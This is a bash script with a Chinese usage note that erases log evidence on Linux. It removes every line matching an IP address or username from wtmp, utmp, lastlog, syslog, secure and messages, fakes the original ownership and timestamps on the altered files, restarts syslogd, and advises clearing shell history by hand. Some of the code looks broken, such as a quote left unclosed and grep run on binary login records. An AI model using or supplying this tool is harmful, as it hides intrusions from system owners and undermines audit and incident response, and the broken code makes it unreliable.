#!/bin/bash
echo " linux clear log "
echo "            by knlve 2008-08-29"
echo "==============================="
#     chmod 777 log
# ./log xx.xx.xx.xx And ./log root

    if [ -f "/var/log/wtmp" ];then
       cat /var/log/wtmp | grep -v $1 >> /var/log/temp1;
               chgrp --reference /var/log/wtmp /var/log/temp1;
               chown --reference /var/log/wtmp /var/log/temp1;
               touch -r /var/log/wtmp /var/log/temp1;
               mv   -f /var/log/temp1 /var/log/wtmp;
    fi
    if [ -f "/var/log/lastlog" ];then
       cat /var/log/lastlog |grep -v $1 >> /var/log/temp2;
               chgrp --reference /var/log/lastlog /var/log/temp2;
               chown --reference /var/log/lastlog /var/log/temp2;
               touch -r /var/log/lastlog /var/log/temp2;
                mv   -f /var/log/temp2 /var/log/lastlog;
    fi
    if [ -f "/var/log/messages" ];then
       cat /var/log/messages | grep -v $1 >> /var/log/temp3;
               chgrp --reference /var/log/messages /var/log/temp3;
               chown --reference /var/log/messages /var/log/temp3;
               touch -r /var/log/messages /var/log/temp3;
                mv   -f /var/log/temp3 /var/log/messages;
   fi
     if [ -f "/var/log/utmp" ];then
       cat /var/log/utmp | grep -v $1 >> /var/log/temp4;
               chgrp --reference /var/log/utmp /var/log/temp4;
               chown --reference /var/log/utmp /var/log/temp4;
               touch -r /var/log/utmp /var/log/temp4;
               mv   -f /var/log/temp4 /var/log/utmp;
      fi
    if [ -f "/var/log/wtmpx" ];then
       cat /var/log/wtmpx | grep -v $1 >> /var/log/temp5;
                chgrp --reference /var/log/wtmpx /var/log/temp5;
                chown --reference /var/log/wtmpx /var/log/temp5;
                touch -r /var/log/wtmpx /var/log/temp5;
                 mv   -f /var/log/temp5 /var/log/wtmpx;
      fi if [ -f "/var/log/utmpx" ];then
       cat /var/log/utmpx | grep -v $1 >> /var/log/temp6;
                 chgrp --reference /var/log/utmpx /var/log/temp6;
                 chown --reference /var/log/utmpx /var/log/temp6;
                 touch -r /var/log/utmpx /var/log/temp6;
                  mv   -f /var/log/temp6 /var/log/utmpx;
      fi
         if [ -f "/var/log/syslog" ];then
       cat /var/log/syslog | grep -v $1 >> /var/log/temp7;
                 chgrp --reference /var/log/syslog /var/log/temp7;
                 chown --reference /var/log/syslog /var/log/temp7;
                 touch -r /var/log/syslog /var/log/temp7;
                  mv   -f /var/log/temp7 /var/log/syslog;
     fi
          if [ -f "/var/log/secure" ];then
        cat /var/log/secure | grep -v $1 >> /var/log/temp8;
                 chgrp --reference /var/log/secure /var/log/temp8;
                 chown --reference /var/log/secure /var/log/temp8;
                 touch -r /var/log/secure /var/log/temp8;
                 mv   -f /var/log/temp8 /var/log/secure;
       fi
         /usr/bin/killall -HUP syslogd;
echo "Clear log is success!
#rm -fr log

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由于某种原因在脚本里清楚历史记录始终不完美。执行完脚本后，
在手动执行清楚历史记录:
             history -w
             history -c


脚本用法 chmod 777 log & ./log ip or ./log root